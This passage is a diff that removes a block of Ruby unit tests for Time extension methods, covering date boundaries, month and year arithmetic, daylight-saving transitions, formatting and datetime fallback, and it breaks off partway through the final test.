-  def test_beginning_of_day
-    assert_equal Time.local(2005,2,4,0,0,0), Time.local(2005,2,4,10,10,10).beginning_of_day
-    with_env_tz 'US/Eastern' do
-      assert_equal Time.local(2006,4,2,0,0,0), Time.local(2006,4,2,10,10,10).beginning_of_day, 'start DST'
-      assert_equal Time.local(2006,10,29,0,0,0), Time.local(2006,10,29,10,10,10).beginning_of_day, 'ends DST'
-    end
-    with_env_tz 'NZ' do
-      assert_equal Time.local(2006,3,19,0,0,0), Time.local(2006,3,19,10,10,10).beginning_of_day, 'ends DST'
-      assert_equal Time.local(2006,10,1,0,0,0), Time.local(2006,10,1,10,10,10).beginning_of_day, 'start DST'
-    end
-  end
-
-  def test_beginning_of_month
-    assert_equal Time.local(2005,2,1,0,0,0), Time.local(2005,2,22,10,10,10).beginning_of_month
-  end
-
-  def test_beginning_of_quarter
-    assert_equal Time.local(2005,1,1,0,0,0), Time.local(2005,2,15,10,10,10).beginning_of_quarter
-    assert_equal Time.local(2005,1,1,0,0,0), Time.local(2005,1,1,0,0,0).beginning_of_quarter
-    assert_equal Time.local(2005,10,1,0,0,0), Time.local(2005,12,31,10,10,10).beginning_of_quarter
-    assert_equal Time.local(2005,4,1,0,0,0), Time.local(2005,6,30,23,59,59).beginning_of_quarter
-  end
-
-  def test_end_of_day
-    assert_equal Time.local(2007,8,12,23,59,59,999999.999), Time.local(2007,8,12,10,10,10).end_of_day
-    with_env_tz 'US/Eastern' do
-      assert_equal Time.local(2007,4,2,23,59,59,999999.999), Time.local(2007,4,2,10,10,10).end_of_day, 'start DST'
-      assert_equal Time.local(2007,10,29,23,59,59,999999.999), Time.local(2007,10,29,10,10,10).end_of_day, 'ends DST'
-    end
-    with_env_tz 'NZ' do
-      assert_equal Time.local(2006,3,19,23,59,59,999999.999), Time.local(2006,3,19,10,10,10).end_of_day, 'ends DST'
-      assert_equal Time.local(2006,10,1,23,59,59,999999.999), Time.local(2006,10,1,10,10,10).end_of_day, 'start DST'
-    end
-  end
-
-  def test_end_of_week
-    assert_equal Time.local(2008,1,6,23,59,59,999999.999), Time.local(2007,12,31,10,10,10).end_of_week
-    assert_equal Time.local(2007,9,2,23,59,59,999999.999), Time.local(2007,8,27,0,0,0).end_of_week #monday
-    assert_equal Time.local(2007,9,2,23,59,59,999999.999), Time.local(2007,8,28,0,0,0).end_of_week #tuesday
-    assert_equal Time.local(2007,9,2,23,59,59,999999.999), Time.local(2007,8,29,0,0,0).end_of_week #wednesday
-    assert_equal Time.local(2007,9,2,23,59,59,999999.999), Time.local(2007,8,30,0,0,0).end_of_week #thursday
-    assert_equal Time.local(2007,9,2,23,59,59,999999.999), Time.local(2007,8,31,0,0,0).end_of_week #friday
-    assert_equal Time.local(2007,9,2,23,59,59,999999.999), Time.local(2007,9,01,0,0,0).end_of_week #saturday
-    assert_equal Time.local(2007,9,2,23,59,59,999999.999), Time.local(2007,9,02,0,0,0).end_of_week #sunday
-  end
-
-  def test_end_of_month
-    assert_equal Time.local(2005,3,31,23,59,59,999999.999), Time.local(2005,3,20,10,10,10).end_of_month
-    assert_equal Time.local(2005,2,28,23,59,59,999999.999), Time.local(2005,2,20,10,10,10).end_of_month
-    assert_equal Time.local(2005,4,30,23,59,59,999999.999), Time.local(2005,4,20,10,10,10).end_of_month
-  end
-
-  def test_end_of_quarter
-    assert_equal Time.local(2007,3,31,23,59,59,999999.999), Time.local(2007,2,15,10,10,10).end_of_quarter
-    assert_equal Time.local(2007,3,31,23,59,59,999999.999), Time.local(2007,3,31,0,0,0).end_of_quarter
-    assert_equal Time.local(2007,12,31,23,59,59,999999.999), Time.local(2007,12,21,10,10,10).end_of_quarter
-    assert_equal Time.local(2007,6,30,23,59,59,999999.999), Time.local(2007,4,1,0,0,0).end_of_quarter
-    assert_equal Time.local(2008,6,30,23,59,59,999999.999), Time.local(2008,5,31,0,0,0).end_of_quarter
-  end
-
-  def test_end_of_year
-    assert_equal Time.local(2007,12,31,23,59,59,999999.999), Time.local(2007,2,22,10,10,10).end_of_year
-    assert_equal Time.local(2007,12,31,23,59,59,999999.999), Time.local(2007,12,31,10,10,10).end_of_year
-  end
-
-  def test_beginning_of_year
-    assert_equal Time.local(2005,1,1,0,0,0), Time.local(2005,2,22,10,10,10).beginning_of_year
-  end
-
-  def test_months_ago
-    assert_equal Time.local(2005,5,5,10),  Time.local(2005,6,5,10,0,0).months_ago(1)
-    assert_equal Time.local(2004,11,5,10), Time.local(2005,6,5,10,0,0).months_ago(7)
-    assert_equal Time.local(2004,12,5,10), Time.local(2005,6,5,10,0,0).months_ago(6)
-    assert_equal Time.local(2004,6,5,10),  Time.local(2005,6,5,10,0,0).months_ago(12)
-    assert_equal Time.local(2003,6,5,10),  Time.local(2005,6,5,10,0,0).months_ago(24)
-  end
-
-  def test_months_since
-    assert_equal Time.local(2005,7,5,10),  Time.local(2005,6,5,10,0,0).months_since(1)
-    assert_equal Time.local(2006,1,5,10),  Time.local(2005,12,5,10,0,0).months_since(1)
-    assert_equal Time.local(2005,12,5,10), Time.local(2005,6,5,10,0,0).months_since(6)
-    assert_equal Time.local(2006,6,5,10),  Time.local(2005,12,5,10,0,0).months_since(6)
-    assert_equal Time.local(2006,1,5,10),  Time.local(2005,6,5,10,0,0).months_since(7)
-    assert_equal Time.local(2006,6,5,10),  Time.local(2005,6,5,10,0,0).months_since(12)
-    assert_equal Time.local(2007,6,5,10),  Time.local(2005,6,5,10,0,0).months_since(24)
-    assert_equal Time.local(2005,4,30,10),  Time.local(2005,3,31,10,0,0).months_since(1)
-    assert_equal Time.local(2005,2,28,10),  Time.local(2005,1,29,10,0,0).months_since(1)
-    assert_equal Time.local(2005,2,28,10),  Time.local(2005,1,30,10,0,0).months_since(1)
-    assert_equal Time.local(2005,2,28,10),  Time.local(2005,1,31,10,0,0).months_since(1)
-  end
-
-  def test_years_ago
-    assert_equal Time.local(2004,6,5,10),  Time.local(2005,6,5,10,0,0).years_ago(1)
-    assert_equal Time.local(1998,6,5,10), Time.local(2005,6,5,10,0,0).years_ago(7)
-    assert_equal Time.local(2003,2,28,10), Time.local(2004,2,29,10,0,0).years_ago(1) # 1 year ago from leap day
-  end
-
-  def test_years_since
-    assert_equal Time.local(2006,6,5,10),  Time.local(2005,6,5,10,0,0).years_since(1)
-    assert_equal Time.local(2012,6,5,10),  Time.local(2005,6,5,10,0,0).years_since(7)
-    assert_equal Time.local(2005,2,28,10), Time.local(2004,2,29,10,0,0).years_since(1) # 1 year since leap day
-    # Failure because of size limitations of numeric?
-    # assert_equal Time.local(2182,6,5,10),  Time.local(2005,6,5,10,0,0).years_since(177)
-  end
-
-  def test_last_year_is_deprecated
-    assert_deprecated { Time.now.last_year }
-  end
-
-  def test_prev_year
-    assert_equal Time.local(2004,6,5,10),  Time.local(2005,6,5,10,0,0).prev_year
-  end
-
-  def test_next_year
-    assert_equal Time.local(2006,6,5,10), Time.local(2005,6,5,10,0,0).next_year
-  end
-
-  def test_ago
-    assert_equal Time.local(2005,2,22,10,10,9),  Time.local(2005,2,22,10,10,10).ago(1)
-    assert_equal Time.local(2005,2,22,9,10,10),  Time.local(2005,2,22,10,10,10).ago(3600)
-    assert_equal Time.local(2005,2,20,10,10,10), Time.local(2005,2,22,10,10,10).ago(86400*2)
-    assert_equal Time.local(2005,2,20,9,9,45),   Time.local(2005,2,22,10,10,10).ago(86400*2 + 3600 + 25)
-  end
-
-  def test_daylight_savings_time_crossings_backward_start
-    with_env_tz 'US/Eastern' do
-      # dt: US: 2005 April 3rd 4:18am
-      assert_equal Time.local(2005,4,2,4,18,0), Time.local(2005,4,3,4,18,0).ago(86400), 'dt-1.day=>st'
-      assert_equal Time.local(2005,4,1,4,18,0), Time.local(2005,4,2,4,18,0).ago(86400), 'st-1.day=>st'
-    end
-    with_env_tz 'NZ' do
-      # dt: New Zealand: 2006 October 1st 4:18am
-      assert_equal Time.local(2006,9,30,4,18,0), Time.local(2006,10,1,4,18,0).ago(86400), 'dt-1.day=>st'
-      assert_equal Time.local(2006,9,29,4,18,0), Time.local(2006,9,30,4,18,0).ago(86400), 'st-1.day=>st'
-    end
-  end
-
-  def test_daylight_savings_time_crossings_backward_end
-    with_env_tz 'US/Eastern' do
-      # st: US: 2005 October 30th 4:03am
-      assert_equal Time.local(2005,10,29,4,3), Time.local(2005,10,30,4,3,0).ago(86400), 'st-1.day=>dt'
-      assert_equal Time.local(2005,10,28,4,3), Time.local(2005,10,29,4,3,0).ago(86400), 'dt-1.day=>dt'
-    end
-    with_env_tz 'NZ' do
-      # st: New Zealand: 2006 March 19th 4:03am
-      assert_equal Time.local(2006,3,18,4,3), Time.local(2006,3,19,4,3,0).ago(86400), 'st-1.day=>dt'
-      assert_equal Time.local(2006,3,17,4,3), Time.local(2006,3,18,4,3,0).ago(86400), 'dt-1.day=>dt'
-    end
-  end
-
-  def test_daylight_savings_time_crossings_backward_start_1day
-    with_env_tz 'US/Eastern' do
-      # dt: US: 2005 April 3rd 4:18am
-      assert_equal Time.local(2005,4,2,4,18,0), Time.local(2005,4,3,4,18,0).ago(1.day), 'dt-1.day=>st'
-      assert_equal Time.local(2005,4,1,4,18,0), Time.local(2005,4,2,4,18,0).ago(1.day), 'st-1.day=>st'
-    end
-    with_env_tz 'NZ' do
-      # dt: New Zealand: 2006 October 1st 4:18am
-      assert_equal Time.local(2006,9,30,4,18,0), Time.local(2006,10,1,4,18,0).ago(1.day), 'dt-1.day=>st'
-      assert_equal Time.local(2006,9,29,4,18,0), Time.local(2006,9,30,4,18,0).ago(1.day), 'st-1.day=>st'
-    end
-  end
-
-  def test_daylight_savings_time_crossings_backward_end_1day
-    with_env_tz 'US/Eastern' do
-      # st: US: 2005 October 30th 4:03am
-      assert_equal Time.local(2005,10,29,4,3), Time.local(2005,10,30,4,3,0).ago(1.day), 'st-1.day=>dt'
-      assert_equal Time.local(2005,10,28,4,3), Time.local(2005,10,29,4,3,0).ago(1.day), 'dt-1.day=>dt'
-    end
-    with_env_tz 'NZ' do
-      # st: New Zealand: 2006 March 19th 4:03am
-      assert_equal Time.local(2006,3,18,4,3), Time.local(2006,3,19,4,3,0).ago(1.day), 'st-1.day=>dt'
-      assert_equal Time.local(2006,3,17,4,3), Time.local(2006,3,18,4,3,0).ago(1.day), 'dt-1.day=>dt'
-    end
-  end
-  def test_since
-    assert_equal Time.local(2005,2,22,10,10,11), Time.local(2005,2,22,10,10,10).since(1)
-    assert_equal Time.local(2005,2,22,11,10,10), Time.local(2005,2,22,10,10,10).since(3600)
-    assert_equal Time.local(2005,2,24,10,10,10), Time.local(2005,2,22,10,10,10).since(86400*2)
-    assert_equal Time.local(2005,2,24,11,10,35), Time.local(2005,2,22,10,10,10).since(86400*2 + 3600 + 25)
-    # when out of range of Time, returns a DateTime
-    assert_equal DateTime.civil(2038,1,20,11,59,59), Time.utc(2038,1,18,11,59,59).since(86400*2)
-  end
-
-  def test_daylight_savings_time_crossings_forward_start
-    with_env_tz 'US/Eastern' do
-      # st: US: 2005 April 2nd 7:27pm
-      assert_equal Time.local(2005,4,3,19,27,0), Time.local(2005,4,2,19,27,0).since(86400), 'st+1.day=>dt'
-      assert_equal Time.local(2005,4,4,19,27,0), Time.local(2005,4,3,19,27,0).since(86400), 'dt+1.day=>dt'
-    end
-    with_env_tz 'NZ' do
-      # st: New Zealand: 2006 September 30th 7:27pm
-      assert_equal Time.local(2006,10,1,19,27,0), Time.local(2006,9,30,19,27,0).since(86400), 'st+1.day=>dt'
-      assert_equal Time.local(2006,10,2,19,27,0), Time.local(2006,10,1,19,27,0).since(86400), 'dt+1.day=>dt'
-    end
-  end
-
-  def test_daylight_savings_time_crossings_forward_start_1day
-    with_env_tz 'US/Eastern' do
-      # st: US: 2005 April 2nd 7:27pm
-      assert_equal Time.local(2005,4,3,19,27,0), Time.local(2005,4,2,19,27,0).since(1.day), 'st+1.day=>dt'
-      assert_equal Time.local(2005,4,4,19,27,0), Time.local(2005,4,3,19,27,0).since(1.day), 'dt+1.day=>dt'
-    end
-    with_env_tz 'NZ' do
-      # st: New Zealand: 2006 September 30th 7:27pm
-      assert_equal Time.local(2006,10,1,19,27,0), Time.local(2006,9,30,19,27,0).since(1.day), 'st+1.day=>dt'
-      assert_equal Time.local(2006,10,2,19,27,0), Time.local(2006,10,1,19,27,0).since(1.day), 'dt+1.day=>dt'
-    end
-  end
-
-  def test_daylight_savings_time_crossings_forward_start_tomorrow
-    with_env_tz 'US/Eastern' do
-      # st: US: 2005 April 2nd 7:27pm
-      assert_equal Time.local(2005,4,3,19,27,0), Time.local(2005,4,2,19,27,0).tomorrow, 'st+1.day=>dt'
-      assert_equal Time.local(2005,4,4,19,27,0), Time.local(2005,4,3,19,27,0).tomorrow, 'dt+1.day=>dt'
-    end
-    with_env_tz 'NZ' do
-      # st: New Zealand: 2006 September 30th 7:27pm
-      assert_equal Time.local(2006,10,1,19,27,0), Time.local(2006,9,30,19,27,0).tomorrow, 'st+1.day=>dt'
-      assert_equal Time.local(2006,10,2,19,27,0), Time.local(2006,10,1,19,27,0).tomorrow, 'dt+1.day=>dt'
-    end
-  end
-
-  def test_daylight_savings_time_crossings_backward_start_yesterday
-    with_env_tz 'US/Eastern' do
-      # st: US: 2005 April 2nd 7:27pm
-      assert_equal Time.local(2005,4,2,19,27,0), Time.local(2005,4,3,19,27,0).yesterday, 'dt-1.day=>st'
-      assert_equal Time.local(2005,4,3,19,27,0), Time.local(2005,4,4,19,27,0).yesterday, 'dt-1.day=>dt'
-    end
-    with_env_tz 'NZ' do
-      # st: New Zealand: 2006 September 30th 7:27pm
-      assert_equal Time.local(2006,9,30,19,27,0), Time.local(2006,10,1,19,27,0).yesterday, 'dt-1.day=>st'
-      assert_equal Time.local(2006,10,1,19,27,0), Time.local(2006,10,2,19,27,0).yesterday, 'dt-1.day=>dt'
-    end
-  end
-
-  def test_daylight_savings_time_crossings_forward_end
-    with_env_tz 'US/Eastern' do
-      # dt: US: 2005 October 30th 12:45am
-      assert_equal Time.local(2005,10,31,0,45,0), Time.local(2005,10,30,0,45,0).since(86400), 'dt+1.day=>st'
-      assert_equal Time.local(2005,11, 1,0,45,0), Time.local(2005,10,31,0,45,0).since(86400), 'st+1.day=>st'
-    end
-    with_env_tz 'NZ' do
-      # dt: New Zealand: 2006 March 19th 1:45am
-      assert_equal Time.local(2006,3,20,1,45,0), Time.local(2006,3,19,1,45,0).since(86400), 'dt+1.day=>st'
-      assert_equal Time.local(2006,3,21,1,45,0), Time.local(2006,3,20,1,45,0).since(86400), 'st+1.day=>st'
-    end
-  end
-
-  def test_daylight_savings_time_crossings_forward_end_1day
-    with_env_tz 'US/Eastern' do
-      # dt: US: 2005 October 30th 12:45am
-      assert_equal Time.local(2005,10,31,0,45,0), Time.local(2005,10,30,0,45,0).since(1.day), 'dt+1.day=>st'
-      assert_equal Time.local(2005,11, 1,0,45,0), Time.local(2005,10,31,0,45,0).since(1.day), 'st+1.day=>st'
-    end
-    with_env_tz 'NZ' do
-      # dt: New Zealand: 2006 March 19th 1:45am
-      assert_equal Time.local(2006,3,20,1,45,0), Time.local(2006,3,19,1,45,0).since(1.day), 'dt+1.day=>st'
-      assert_equal Time.local(2006,3,21,1,45,0), Time.local(2006,3,20,1,45,0).since(1.day), 'st+1.day=>st'
-    end
-  end
-
-  def test_daylight_savings_time_crossings_forward_end_tomorrow
-    with_env_tz 'US/Eastern' do
-      # dt: US: 2005 October 30th 12:45am
-      assert_equal Time.local(2005,10,31,0,45,0), Time.local(2005,10,30,0,45,0).tomorrow, 'dt+1.day=>st'
-      assert_equal Time.local(2005,11, 1,0,45,0), Time.local(2005,10,31,0,45,0).tomorrow, 'st+1.day=>st'
-    end
-    with_env_tz 'NZ' do
-      # dt: New Zealand: 2006 March 19th 1:45am
-      assert_equal Time.local(2006,3,20,1,45,0), Time.local(2006,3,19,1,45,0).tomorrow, 'dt+1.day=>st'
-      assert_equal Time.local(2006,3,21,1,45,0), Time.local(2006,3,20,1,45,0).tomorrow, 'st+1.day=>st'
-    end
-  end
-
-  def test_daylight_savings_time_crossings_backward_end_yesterday
-    with_env_tz 'US/Eastern' do
-      # dt: US: 2005 October 30th 12:45am
-      assert_equal Time.local(2005,10,30,0,45,0), Time.local(2005,10,31,0,45,0).yesterday, 'st-1.day=>dt'
-      assert_equal Time.local(2005,10, 31,0,45,0), Time.local(2005,11,1,0,45,0).yesterday, 'st-1.day=>st'
-    end
-    with_env_tz 'NZ' do
-      # dt: New Zealand: 2006 March 19th 1:45am
-      assert_equal Time.local(2006,3,19,1,45,0), Time.local(2006,3,20,1,45,0).yesterday, 'st-1.day=>dt'
-      assert_equal Time.local(2006,3,20,1,45,0), Time.local(2006,3,21,1,45,0).yesterday, 'st-1.day=>st'
-    end
-  end
-
-  def test_yesterday
-    assert_equal Time.local(2005,2,21,10,10,10), Time.local(2005,2,22,10,10,10).yesterday
-    assert_equal Time.local(2005,2,28,10,10,10), Time.local(2005,3,2,10,10,10).yesterday.yesterday
-  end
-
-  def test_tomorrow
-    assert_equal Time.local(2005,2,23,10,10,10), Time.local(2005,2,22,10,10,10).tomorrow
-    assert_equal Time.local(2005,3,2,10,10,10),  Time.local(2005,2,28,10,10,10).tomorrow.tomorrow
-  end
-
-  def test_change
-    assert_equal Time.local(2006,2,22,15,15,10), Time.local(2005,2,22,15,15,10).change(:year => 2006)
-    assert_equal Time.local(2005,6,22,15,15,10), Time.local(2005,2,22,15,15,10).change(:month => 6)
-    assert_equal Time.local(2012,9,22,15,15,10), Time.local(2005,2,22,15,15,10).change(:year => 2012, :month => 9)
-    assert_equal Time.local(2005,2,22,16),       Time.local(2005,2,22,15,15,10).change(:hour => 16)
-    assert_equal Time.local(2005,2,22,16,45),    Time.local(2005,2,22,15,15,10).change(:hour => 16, :min => 45)
-    assert_equal Time.local(2005,2,22,15,45),    Time.local(2005,2,22,15,15,10).change(:min => 45)
-
-    assert_equal Time.local(2005,1,2, 5, 0, 0, 0), Time.local(2005,1,2,11,22,33,44).change(:hour => 5)
-    assert_equal Time.local(2005,1,2,11, 6, 0, 0), Time.local(2005,1,2,11,22,33,44).change(:min  => 6)
-    assert_equal Time.local(2005,1,2,11,22, 7, 0), Time.local(2005,1,2,11,22,33,44).change(:sec  => 7)
-    assert_equal Time.local(2005,1,2,11,22,33, 8), Time.local(2005,1,2,11,22,33,44).change(:usec => 8)
-  end
-
-  def test_utc_change
-    assert_equal Time.utc(2006,2,22,15,15,10), Time.utc(2005,2,22,15,15,10).change(:year => 2006)
-    assert_equal Time.utc(2005,6,22,15,15,10), Time.utc(2005,2,22,15,15,10).change(:month => 6)
-    assert_equal Time.utc(2012,9,22,15,15,10), Time.utc(2005,2,22,15,15,10).change(:year => 2012, :month => 9)
-    assert_equal Time.utc(2005,2,22,16),       Time.utc(2005,2,22,15,15,10).change(:hour => 16)
-    assert_equal Time.utc(2005,2,22,16,45),    Time.utc(2005,2,22,15,15,10).change(:hour => 16, :min => 45)
-    assert_equal Time.utc(2005,2,22,15,45),    Time.utc(2005,2,22,15,15,10).change(:min => 45)
-  end
-
-  def test_advance
-    assert_equal Time.local(2006,2,28,15,15,10), Time.local(2005,2,28,15,15,10).advance(:years => 1)
-    assert_equal Time.local(2005,6,28,15,15,10), Time.local(2005,2,28,15,15,10).advance(:months => 4)
-    assert_equal Time.local(2005,3,21,15,15,10), Time.local(2005,2,28,15,15,10).advance(:weeks => 3)
-    assert_equal Time.local(2005,3,25,3,15,10), Time.local(2005,2,28,15,15,10).advance(:weeks => 3.5)
-    assert_in_delta Time.local(2005,3,26,12,51,10), Time.local(2005,2,28,15,15,10).advance(:weeks => 3.7), 1
-    assert_equal Time.local(2005,3,5,15,15,10), Time.local(2005,2,28,15,15,10).advance(:days => 5)
-    assert_equal Time.local(2005,3,6,3,15,10), Time.local(2005,2,28,15,15,10).advance(:days => 5.5)
-    assert_in_delta Time.local(2005,3,6,8,3,10), Time.local(2005,2,28,15,15,10).advance(:days => 5.7), 1
-    assert_equal Time.local(2012,9,28,15,15,10), Time.local(2005,2,28,15,15,10).advance(:years => 7, :months => 7)
-    assert_equal Time.local(2013,10,3,15,15,10), Time.local(2005,2,28,15,15,10).advance(:years => 7, :months => 19, :days => 5)
-    assert_equal Time.local(2013,10,17,15,15,10), Time.local(2005,2,28,15,15,10).advance(:years => 7, :months => 19, :weeks => 2, :days => 5)
-    assert_equal Time.local(2001,12,27,15,15,10), Time.local(2005,2,28,15,15,10).advance(:years => -3, :months => -2, :days => -1)
-    assert_equal Time.local(2005,2,28,15,15,10), Time.local(2004,2,29,15,15,10).advance(:years => 1) #leap day plus one year
-    assert_equal Time.local(2005,2,28,20,15,10), Time.local(2005,2,28,15,15,10).advance(:hours => 5)
-    assert_equal Time.local(2005,2,28,15,22,10), Time.local(2005,2,28,15,15,10).advance(:minutes => 7)
-    assert_equal Time.local(2005,2,28,15,15,19), Time.local(2005,2,28,15,15,10).advance(:seconds => 9)
-    assert_equal Time.local(2005,2,28,20,22,19), Time.local(2005,2,28,15,15,10).advance(:hours => 5, :minutes => 7, :seconds => 9)
-    assert_equal Time.local(2005,2,28,10,8,1), Time.local(2005,2,28,15,15,10).advance(:hours => -5, :minutes => -7, :seconds => -9)
-    assert_equal Time.local(2013,10,17,20,22,19), Time.local(2005,2,28,15,15,10).advance(:years => 7, :months => 19, :weeks => 2, :days => 5, :hours => 5, :minutes => 7, :seconds => 9)
-  end
-
-  def test_utc_advance
-    assert_equal Time.utc(2006,2,22,15,15,10), Time.utc(2005,2,22,15,15,10).advance(:years => 1)
-    assert_equal Time.utc(2005,6,22,15,15,10), Time.utc(2005,2,22,15,15,10).advance(:months => 4)
-    assert_equal Time.utc(2005,3,21,15,15,10), Time.utc(2005,2,28,15,15,10).advance(:weeks => 3)
-    assert_equal Time.utc(2005,3,25,3,15,10), Time.utc(2005,2,28,15,15,10).advance(:weeks => 3.5)
-    assert_in_delta Time.utc(2005,3,26,12,51,10), Time.utc(2005,2,28,15,15,10).advance(:weeks => 3.7), 1
-    assert_equal Time.utc(2005,3,5,15,15,10), Time.utc(2005,2,28,15,15,10).advance(:days => 5)
-    assert_equal Time.utc(2005,3,6,3,15,10), Time.utc(2005,2,28,15,15,10).advance(:days => 5.5)
-    assert_in_delta Time.utc(2005,3,6,8,3,10), Time.utc(2005,2,28,15,15,10).advance(:days => 5.7), 1
-    assert_equal Time.utc(2012,9,22,15,15,10), Time.utc(2005,2,22,15,15,10).advance(:years => 7, :months => 7)
-    assert_equal Time.utc(2013,10,3,15,15,10), Time.utc(2005,2,22,15,15,10).advance(:years => 7, :months => 19, :days => 11)
-    assert_equal Time.utc(2013,10,17,15,15,10), Time.utc(2005,2,28,15,15,10).advance(:years => 7, :months => 19, :weeks => 2, :days => 5)
-    assert_equal Time.utc(2001,12,27,15,15,10), Time.utc(2005,2,28,15,15,10).advance(:years => -3, :months => -2, :days => -1)
-    assert_equal Time.utc(2005,2,28,15,15,10), Time.utc(2004,2,29,15,15,10).advance(:years => 1) #leap day plus one year
-    assert_equal Time.utc(2005,2,28,20,15,10), Time.utc(2005,2,28,15,15,10).advance(:hours => 5)
-    assert_equal Time.utc(2005,2,28,15,22,10), Time.utc(2005,2,28,15,15,10).advance(:minutes => 7)
-    assert_equal Time.utc(2005,2,28,15,15,19), Time.utc(2005,2,28,15,15,10).advance(:seconds => 9)
-    assert_equal Time.utc(2005,2,28,20,22,19), Time.utc(2005,2,28,15,15,10).advance(:hours => 5, :minutes => 7, :seconds => 9)
-    assert_equal Time.utc(2005,2,28,10,8,1), Time.utc(2005,2,28,15,15,10).advance(:hours => -5, :minutes => -7, :seconds => -9)
-    assert_equal Time.utc(2013,10,17,20,22,19), Time.utc(2005,2,28,15,15,10).advance(:years => 7, :months => 19, :weeks => 2, :days => 5, :hours => 5, :minutes => 7, :seconds => 9)
-  end
-
-  def test_next_week
-    with_env_tz 'US/Eastern' do
-      assert_equal Time.local(2005,2,28), Time.local(2005,2,22,15,15,10).next_week
-      assert_equal Time.local(2005,3,1), Time.local(2005,2,22,15,15,10).next_week(:tuesday)
-      assert_equal Time.local(2005,3,4), Time.local(2005,2,22,15,15,10).next_week(:friday)
-      assert_equal Time.local(2006,10,30), Time.local(2006,10,23,0,0,0).next_week
-      assert_equal Time.local(2006,11,1), Time.local(2006,10,23,0,0,0).next_week(:wednesday)
-    end
-  end
-
-  def test_next_week_near_daylight_start
-    with_env_tz 'US/Eastern' do
-      assert_equal Time.local(2006,4,3), Time.local(2006,4,2,23,1,0).next_week, 'just crossed standard => daylight'
-    end
-    with_env_tz 'NZ' do
-      assert_equal Time.local(2006,10,2), Time.local(2006,10,1,23,1,0).next_week, 'just crossed standard => daylight'
-    end
-  end
-
-  def test_next_week_near_daylight_end
-    with_env_tz 'US/Eastern' do
-      assert_equal Time.local(2006,10,30), Time.local(2006,10,29,23,1,0).next_week, 'just crossed daylight => standard'
-    end
-    with_env_tz 'NZ' do
-      assert_equal Time.local(2006,3,20), Time.local(2006,3,19,23,1,0).next_week, 'just crossed daylight => standard'
-    end
-  end
-
-  def test_to_s
-    time = Time.utc(2005, 2, 21, 17, 44, 30)
-    assert_equal time.to_default_s,                 time.to_s
-    assert_equal time.to_default_s,                 time.to_s(:doesnt_exist)
-    assert_equal "2005-02-21 17:44:30",             time.to_s(:db)
-    assert_equal "21 Feb 17:44",                    time.to_s(:short)
-    assert_equal "17:44",                           time.to_s(:time)
-    assert_equal "February 21, 2005 17:44",         time.to_s(:long)
-    assert_equal "February 21st, 2005 17:44",       time.to_s(:long_ordinal)
-    with_env_tz "UTC" do
-      assert_equal "Mon, 21 Feb 2005 17:44:30 +0000", time.to_s(:rfc822)
-    end
-    with_env_tz "US/Central" do
-      assert_equal "Thu, 05 Feb 2009 14:30:05 -0600", Time.local(2009, 2, 5, 14, 30, 5).to_s(:rfc822)
-      assert_equal "Mon, 09 Jun 2008 04:05:01 -0500", Time.local(2008, 6, 9, 4, 5, 1).to_s(:rfc822)
-    end
-  end
-
-  def test_custom_date_format
-    Time::DATE_FORMATS[:custom] = '%Y%m%d%H%M%S'
-    assert_equal '20050221143000', Time.local(2005, 2, 21, 14, 30, 0).to_s(:custom)
-    Time::DATE_FORMATS.delete(:custom)
-  end
-
-  def test_to_date
-    assert_equal Date.new(2005, 2, 21), Time.local(2005, 2, 21, 17, 44, 30).to_date
-  end
-
-  def test_to_datetime
-    assert_equal Time.utc(2005, 2, 21, 17, 44, 30).to_datetime, DateTime.civil(2005, 2, 21, 17, 44, 30, 0, 0)
-    with_env_tz 'US/Eastern' do
-      assert_equal Time.local(2005, 2, 21, 17, 44, 30).to_datetime, DateTime.civil(2005, 2, 21, 17, 44, 30, Rational(Time.local(2005, 2, 21, 17, 44, 30).utc_offset, 86400), 0)
-    end
-    with_env_tz 'NZ' do
-      assert_equal Time.local(2005, 2, 21, 17, 44, 30).to_datetime, DateTime.civil(2005, 2, 21, 17, 44, 30, Rational(Time.local(2005, 2, 21, 17, 44, 30).utc_offset, 86400), 0)
-    end
-    assert_equal ::Date::ITALY, Time.utc(2005, 2, 21, 17, 44, 30).to_datetime.start # use Ruby's default start value
-  end
-
-  def test_to_time
-    assert_equal Time.local(2005, 2, 21, 17, 44, 30), Time.local(2005, 2, 21, 17, 44, 30).to_time
-  end
-
-  # NOTE: this test seems to fail (changeset 1958) only on certain platforms,
-  # like OSX, and FreeBSD 5.4.
-  def test_fp_inaccuracy_ticket_1836
-    midnight = Time.local(2005, 2, 21, 0, 0, 0)
-    assert_equal midnight.midnight, (midnight + 1.hour + 0.000001).midnight
-  end
-
-  def test_days_in_month_with_year
-    assert_equal 31, Time.days_in_month(1, 2005)
-
-    assert_equal 28, Time.days_in_month(2, 2005)
-    assert_equal 29, Time.days_in_month(2, 2004)
-    assert_equal 29, Time.days_in_month(2, 2000)
-    assert_equal 28, Time.days_in_month(2, 1900)
-
-    assert_equal 31, Time.days_in_month(3, 2005)
-    assert_equal 30, Time.days_in_month(4, 2005)
-    assert_equal 31, Time.days_in_month(5, 2005)
-    assert_equal 30, Time.days_in_month(6, 2005)
-    assert_equal 31, Time.days_in_month(7, 2005)
-    assert_equal 31, Time.days_in_month(8, 2005)
-    assert_equal 30, Time.days_in_month(9, 2005)
-    assert_equal 31, Time.days_in_month(10, 2005)
-    assert_equal 30, Time.days_in_month(11, 2005)
-    assert_equal 31, Time.days_in_month(12, 2005)
-  end
-
-  def test_days_in_month_feb_in_common_year_without_year_arg
-    Time.stubs(:now).returns(Time.utc(2007))
-    assert_equal 28, Time.days_in_month(2)
-  end
-
-  def test_days_in_month_feb_in_leap_year_without_year_arg
-    Time.stubs(:now).returns(Time.utc(2008))
-    assert_equal 29, Time.days_in_month(2)
-  end
-
-  def test_time_with_datetime_fallback
-    assert_equal Time.time_with_datetime_fallback(:utc, 2005, 2, 21, 17, 44, 30), Time.utc(2005, 2, 21, 17, 44, 30)
-    assert_equal Time.time_with_datetime_fallback(:local, 2005, 2, 21, 17, 44, 30), Time.local(2005, 2, 21, 17, 44, 30)
-    assert_equal Time.time_with_datetime_fallback(:utc, 2039, 2, 21, 17, 44, 30), DateTime.civil(2039, 2, 21, 17, 44, 30, 0, 0)
-    assert_equal Time.time_with_datetime_fallback(:local, 2039, 2, 21, 17, 44, 30), DateTime.civil(2039, 2, 21, 17, 44, 30, DateTime.local_offset, 0)
-    assert_equal Time.time_with_datetime_fallback(:utc, 1900, 2, 21, 17, 44, 30), DateTime.civil(1900, 2, 21, 17, 44, 30, 0, 0)
-    assert_equal Time.time_with_datetime_fallback(:utc, 2005), Time.utc(2005)
-    assert_equal Time.time_with_datetime_fallback(:utc, 2039), DateTime.civil(2039, 1, 1, 0, 0, 0, 0, 0)
